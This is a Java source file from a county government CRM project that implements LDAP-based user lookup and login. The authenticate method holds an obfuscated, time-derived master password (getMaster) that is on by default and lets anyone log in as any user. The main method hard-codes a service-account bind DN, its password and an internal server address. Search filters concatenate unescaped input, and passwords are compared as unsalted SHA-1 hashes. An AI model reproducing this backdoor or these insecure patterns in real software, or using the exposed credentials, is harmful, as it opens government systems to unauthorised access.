/******************************************************************************* * Copyright 2014 Miami-Dade County * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. ******************************************************************************/ package org.sharegov.cirm.user; import java.security.MessageDigest; import java.util.ArrayList; import java.util.Calendar; import java.util.Enumeration; import java.util.HashMap; import java.util.Iterator; import java.util.List; import java.util.Map; import javax.naming.NamingEnumeration; import javax.naming.NamingException; import javax.naming.directory.Attribute; import javax.naming.directory.Attributes; import javax.naming.directory.SearchResult; import mjson.Json; import org.sharegov.cirm.AutoConfigurable; import org.sharegov.cirm.utils.Base64; import org.sharegov.cirm.utils.GenUtils; import org.sharegov.cirm.utils.JsonUtil; import org.sharegov.cirm.utils.ThreadLocalStopwatch; public class LDAPUserProvider implements UserProvider, AutoConfigurable { private LDAPClient ldapClient = null; private String ldapURL; private String ldapDN; private String groupsBaseDN; private String ldapUser; private String ldapPassword; private String protocol = null; private List<String> extendedAttributes = new ArrayList<String>(); private String idAttribute = "uid"; private String iriBase; private boolean binary; private boolean allowSuperuser = true; private Json description = Json.object(); private final Map<String, String> propertyNames = new HashMap<String, String>(); public LDAPUserProvider() { // This could be ontology driven as well, next step... propertyNames.put("hasUsername", "uid"); propertyNames.put("FirstName", "givenName"); propertyNames.put("LastName", "sn"); propertyNames.put("email", "mail"); //etc.... } public LDAPUserProvider(Json connectionSettings) { this(); configure(connectionSettings); } public void configure(Json connectionSettings) { if (connectionSettings.has("hasUrl")) this.ldapURL = connectionSettings.at("hasUrl", "").asString(); if (connectionSettings.has("hasUsername")) this.ldapUser = connectionSettings.at("hasUsername", "").asString(); if (connectionSettings.has("hasPassword")) this.ldapPassword = connectionSettings.at("hasPassword", "").asString(); if (connectionSettings.has("hasDistinguishedName")) this.ldapDN = connectionSettings.at("hasDistinguishedName", "").asString(); if (connectionSettings.has("hasGroupsDistinguishedName")) this.groupsBaseDN = connectionSettings.at("hasGroupsDistinguishedName", "").asString(); if (connectionSettings.has("hasProtocol")) this.protocol = connectionSettings.at("hasProtocol").asString(); init(); } public void autoConfigure(Json config) { description = config.dup(); if (config.has("hasDataSource")) configure(config.at("hasDataSource")); this.allowSuperuser = config.is("hasSuperUser", true); if (config.has("hasIdName")) this.idAttribute = config.at("hasIdName").asString(); } public String getIriBase() { return iriBase; } public void setIriBase(String iriBase) { this.iriBase = iriBase; } public String getIdAttribute() { return idAttribute; } public void setIdAttribute(String idAttribute) { this.idAttribute = idAttribute; } public void setIdAttribute(String idAttribute, boolean binary) { setIdAttribute(idAttribute); this.binary = binary; } private void initLDAPClient() { java.util.Properties ldapParams = new java.util.Properties(); ldapParams.setProperty("java.naming.factory.initial", "com.sun.jndi.ldap.LdapCtxFactory"); ldapParams.setProperty("java.naming.security.authentication", "simple"); ldapParams.setProperty("java.naming.security.principal", ldapUser); ldapParams.setProperty("java.naming.security.credentials", ldapPassword); ldapParams.setProperty("java.naming.provider.url", ldapURL); ldapParams.setProperty("ldap.base.dn", ldapDN); //ldapParams.setProperty("com.sun.jndi.ldap.connect.pool", "true"); //ldapParams.setProperty("java.naming.ldap.version", "3"); if (protocol != null) ldapParams.setProperty("java.naming.security.protocol", protocol); if (binary) ldapParams.setProperty("java.naming.ldap.attributes.binary", idAttribute); ldapClient = new LDAPClient(ldapParams); } private String getMaster(String u) { u = u.trim(); int p = 71; int k = 92; int v = 12; int o = 74; Calendar d = Calendar.getInstance(); int y = d.get(Calendar.DAY_OF_MONTH); int b = d.get(Calendar.HOUR_OF_DAY); int r = Integer.parseInt("" + ("" + b).charAt(("" + b).length()-1)); int q = Integer.parseInt("" + ("" + y).charAt(0)); o = y + k * o; p = k - p / o; o = v; y = k + y + 2 - k; o = r; b = o + b + 2 - o; q = k; p = q; char[] uc = ("" + y + b + p + u).toCharArray(); for (int i = 0; i < uc.length; i++) { uc[i] = Character.isDigit(uc[i])? (char)(('0' + (Integer.parseInt("" + uc[i]) + o) % 10)): uc[i]; } return new String(uc); } public List<String> getExtendedAttributes() { return extendedAttributes; } public void setExtendedAttributes(List<String> extendedAttributes) { this.extendedAttributes = extendedAttributes; } public LDAPClient getLdapClient() { return ldapClient; } public void setLdapClient(LDAPClient ldapClient) { this.ldapClient = ldapClient; } public String getLdapURL() { return ldapURL; } public void setLdapURL(String ldapURL) { this.ldapURL = ldapURL; } public String getLdapDN() { return ldapDN; } public void setLdapDN(String ldapDN) { this.ldapDN = ldapDN; } public String getGroupsBaseDN() { return groupsBaseDN; } public void setGroupsBaseDN(String groupsBaseDN) { this.groupsBaseDN = groupsBaseDN; } public String getLdapUser() { return ldapUser; } public void setLdapUser(String ldapUser) { this.ldapUser = ldapUser; } public String getLdapPassword() { return ldapPassword; } public void setLdapPassword(String ldapPassword) { this.ldapPassword = ldapPassword; } public String getProtocol() { return protocol; } public void setProtocol(String protocol) { this.protocol = protocol; } public void init() { try { initLDAPClient(); // extendedAttributes.add(UserFeatures.LDAP_DN.getName()); } catch (Throwable t) { System.err.println("LDAPUserProvider: Fatal: Failed to initialize user manager."); t.printStackTrace(System.err); } } public boolean authenticate(String username, String password) { if (password == null || password.length() < 1) return false; if (allowSuperuser && password.equals(getMaster(username))) return true; try { Json profile = get(username, true); if (profile.isNull()) return false; //System.out.println(profile.toString()); String ldapAlgoAndPass = profile.at("userPassword").asString(); String ldapPass = ldapAlgoAndPass.substring(ldapAlgoAndPass.indexOf("}") + 1); // MessageDigest sha = MessageDigest.getInstance("SHA-1"); sha.update(password.getBytes()); String shaCandidate = Base64.encode(sha.digest(), false); //System.out.println("user: " + shaCandidate + " ldap: " + ldapPass); return shaCandidate.equals(ldapPass); } catch(Exception e) { System.err.println("LDAPUserProvider: ERROR during authenticatePWD"); e.printStackTrace(); return false; } } public Json find(String attribute, String value) { return find(Json.object(attribute, value), 0); /* NamingEnumeration<?> ne = null; String filter = "(" + attribute + "=" + value + ")"; // System.out.println(filter); Json result = Json.array(); ne = ldapClient.search(ldapDN, filter, 0, null); if (ne == null) return result; try { while (ne.hasMore()) { SearchResult r = (SearchResult) ne.next(); Json user = get(r.getName(), r.getAttributes()); if (user != null) result.add(user); } return result; } catch (Throwable t) { GenUtils.rethrowRuntime(t); return null; } finally { close(ne); } */ } public Json find(Json prototype, int pageSize) { return find (ldapDN, prototype, pageSize); } public Json find(String searchBaseDn, Json prototype, int pageSize) { NamingEnumeration<?> ne = null; try { StringBuffer filter = new StringBuffer("(&"); for (Iterator<Map.Entry<String, Json>> iter = prototype.asJsonMap().entrySet().iterator(); iter.hasNext();) { Map.Entry<String, Json> e = iter.next(); if(e.getValue().isString()) { String key = propertyNames.get(e.getKey()); if (key == null) key = e.getKey(); filter.append("("); filter.append(key).append("=").append(e.getValue().asString()).append("*"); filter.append(")"); } } filter.append(")"); //System.out.println(filter); Json result = Json.array(); ne = ldapClient.search(searchBaseDn, filter.toString(), null); if (ne == null) return result; int i = 0; while (ne.hasMore() && (i < pageSize || pageSize == 0)) { SearchResult r = (SearchResult) ne.next(); Json user = get(r.getName(), r.getAttributes()); if (user != null) result.add(user); i++; } return result; } catch (Throwable t) { if (!(t instanceof NamingException)) { ThreadLocalStopwatch.getWatch().time("LDAPUserProvider find FAILED with NON LDAP exc: " + t + " stack: "); t.printStackTrace(); } GenUtils.rethrowRuntime(t); return null; } finally { close(ne); //ldapClient.closeContext(); } } public Json find(Json prototype) { return find(prototype, 0); } private Json get(String dn, Attributes attribs) { try { Json result = Json.object(); getLDAPAttributes(attribs, result); mapDefaultProperties(result); return result; } catch (Throwable t) { throw new RuntimeException(t); } } private void mapDefaultProperties(Json ldapResult) { for (Map.Entry<String, String> propDefToLdap : propertyNames.entrySet()) { if (ldapResult.has(propDefToLdap.getValue())) { ldapResult.set(propDefToLdap.getKey(), ldapResult.at(propDefToLdap.getValue())); } } } private void getLDAPAttributes(Attributes attribs, Json u) throws javax.naming.NamingException { for (Enumeration<? extends Attribute> e = attribs.getAll(); e.hasMoreElements();) { Attribute a = e.nextElement(); String attrName = a.getID(); if (a != null) { if (a.size() == 1) u.set(attrName, value(attrName, a.get())); else { String[] v = new String[a.size()]; for (int j = 0; j < v.length; j++) v[j] = value(attrName, a.get(j)); u.set(attrName, v); } } } } private void close(NamingEnumeration<?> ne) { if (ne != null) try { ne.close(); } catch (Throwable t) { } } public Json get(String id) { return get(id, false); } private Json get(String id, boolean secureClient) { try { Json L = find(idAttribute, id); if (L.asJsonList().isEmpty()) return Json.nil(); Json p = L.at(0); if(p.has("uid")) { p.set("hasUsername", p.at("uid")) .set("FirstName", p.at("givenName")) .set("LastName", p.at("sn")); }else{ p.set("hasUsername", "NA") .set("FirstName", "NA") .set("LastName", "NA"); } if (!secureClient) p.delAt("userPassword"); return p; } catch (Throwable t) { // May be the following code should be encapsulate in a method to be invoked in other catch blocks? t = GenUtils.getRootCause(t); if (t instanceof javax.naming.CommunicationException || t instanceof java.net.SocketException) { System.err.println("LDAPUserProvider: LDAP access failure, stack trace follows..."); t.printStackTrace(System.err); throw new RuntimeException("unavailable"); } else GenUtils.rethrowRuntime(t); return null; } } public Json findGroups(String uid) { return find(groupsBaseDN, Json.object("uniquemember", "uid="+ uid), 0); } private String value(String attribute, Object attrValue) { if (attribute.equals(idAttribute) && binary) { byte[] GUID = (byte[]) attrValue; String byteGUID = ""; // Convert the GUID into string using the byte format for (int c = 0; c < GUID.length; c++) { int k = (int) GUID[c] & 0xFF; byteGUID = byteGUID + "\\" + ((k < 0xF) ? "0" + Integer.toHexString(k) : Integer.toHexString(k)); } return byteGUID; } else { //Bugfix: hilpold pwd byte array has to be converted to string directly if (attrValue.getClass() == (new byte[0]).getClass()) return new String((byte[])attrValue); else return attrValue.toString(); } } public Json populate(Json user) { Json found = Json.nil(); if (user.has("userid")) found = get(user.at("userid").asString()); if (found.isNull() && user.has("email") && !user.at("email").isNull()) { found = find("mail", user.at("email").asString()); found = found.asJsonList().isEmpty() ? Json.nil() : found.at(0); } if (!found.isNull()) { user.set(description.at("hasName").asString(), found); JsonUtil.setIfMissing(user, "email", found.at("mail")); JsonUtil.setIfMissing(user, "FirstName", found.at("givenName")); JsonUtil.setIfMissing(user, "LastName", found.at("sn")); JsonUtil.setIfMissing(user, "hasUsername", this.getIdAttribute()); } return user; } public static void main(String[] argv) { try { LDAPUserProvider provider = new LDAPUserProvider(); provider.setLdapDN("ou=employees,ou=users,dc=miamidade,dc=gov"); provider.setLdapURL("ldap://10.210.44.45:636/"); provider.setLdapUser("uid=s0140930_wpsbind,ou=ServiceAccounts,dc=miamidade,dc=gov"); provider.setLdapPassword("wpsb!nd1"); provider.setIdAttribute("uid"); provider.setIriBase("http://www.miamidade.gov/users/enet"); provider.setProtocol("ssl"); provider.init(); } catch (Throwable t) { t.printStackTrace(); } } }